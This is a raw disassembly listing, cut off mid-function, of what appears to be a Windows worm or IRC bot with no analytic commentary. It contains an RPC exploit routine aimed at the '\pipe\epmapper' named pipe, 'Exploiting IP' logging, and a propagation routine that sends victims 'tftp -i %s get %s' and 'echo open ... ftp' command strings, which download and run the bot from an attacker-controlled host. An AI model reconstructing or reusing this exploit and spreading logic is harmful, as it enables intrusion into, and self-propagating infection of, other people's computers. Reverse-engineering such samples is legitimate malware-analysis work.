loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2750000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 27407CDh
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		call	near ptr 26A044Bh
		nop
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 26A044Bh
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
